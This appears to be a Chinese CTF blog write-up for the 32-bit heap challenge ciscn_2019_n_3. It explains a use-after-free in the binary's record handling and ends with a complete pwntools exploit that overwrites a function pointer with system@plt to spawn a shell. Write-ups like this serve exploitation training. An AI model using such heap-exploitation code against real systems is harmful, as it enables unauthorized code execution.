ciscn_2019_n_3-uaf

D0wnBe@t Lv4

ciscn_2019_n_3(32位uaf)

题目链接

1.题目分析

  • 又是典型的堆菜单题目,但是注意此题是32位的,接着看各个功能块:

do_new

do_del

do_dump

ask

1.1功能块分析

  • do_new里面是生成两个chunk(type=2),注意其中第一个chunk,malloc(0xc),对于32位来说,他是0x8+0x4,这样malloc的chunk涉及到了prev_size的复用,下一个chunk的prev_size将会充当上一个chunk的user_data部分,因为prev_size记录上一个chunk是否被利用,没利用记作0,空着不用太浪费了就会被利用,**对应于64位,malloc(0xn0 + 0x8)**。
  • prev_size的复用通常会用于off_by_one漏洞利用,但这里没有off_by_one
  • do_new中的chunk结构如下:

漏洞点就在rec_int_free和do_del里面:

do_del以地址执行函数,(record[i]+4)对应的就是rec_int_free函数,record[i]就是指针参数。*

  • 思路应该很清晰了,和之前一样的,修改free_got -> system_plt,然后往record[i]传入/bin/sh\x00,进行do_del,就可以getshell,但是此题有点区别,由于是32位,/bin/sh\x00有8字节,一个机器字长无法写下,其实这里写入sh\x00\x00也可以getshell。
  • 如何修改,这里利用了uaf。

2.gdb调试

1.

1
2
add(0,2,0x10,b'aaaa')
add(1,2,0x10,b'bbbb')

  • 查看堆布局可以明显看出prev_size的复用

2.

  • 接着我们free掉0,1,那么这四个chunk都会被free掉,进入fastbins中,然而,free之后它们的指针并未清零,这里就造成了uaf漏洞
1
2
3
4
5
6
# free指针不清零,record[idx]依然有数值
free(0)
free(1)

# fastbins 0x10 1->0
add(2,2,0xc,b'sh\x00\x00'+p32(system_plt))

  • 我们再次malloc,首先就会malloc(0xc),将record[1]malloc(0xc)给拿走,我们的目的就是修改record处的地址,那么我们再次malloc(0xc),系统会将record[0]malloc(0xc)给你,那么我们修改这部分的内容了

  • 下图可以发现record[0]发生了改变

3.

  • 此时我们free(0)就可以getshell了

3.最终EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context(arch='i386',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",27447)
elf = ELF("./pwn")
free_got = elf.got['free']
system_plt = elf.plt['system']

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("> ",str(idx))

def add(idx,type,size,content):
choice(1)
p.sendlineafter("Index > ",str(idx))
p.sendlineafter("Type > ",str(type) )
if type == 2:
p.sendlineafter("Length > ",str(size))
p.sendlineafter("Value > ",content)
else:
p.sendlineafter("Value > ",content)

def free(idx):
choice(2)
p.sendlineafter("Index > ",str(idx))

def show(idx):
choice(3)
p.sendlineafter("Index > ",str(idx))

# 思路uaf,double_free修改free_got -> system_plt
# 注意32位
add(0,2,0x10,b'aaaa')
add(1,2,0x10,b'bbbb')
bug()

# free指针不清零,record[idx]依然有数值
free(0)
free(1)

# fastbins 0x10 1->0
add(2,2,0xc,b'sh\x00\x00'+p32(system_plt))
free(0)
p.interactive()

  • 标题: ciscn_2019_n_3-uaf
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-02 12:46:30
  • 更新于 : 2024-09-02 13:34:47
  • 链接: http://downbeat.top/2024/09/02/ciscn-2019-n-3-uaf/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论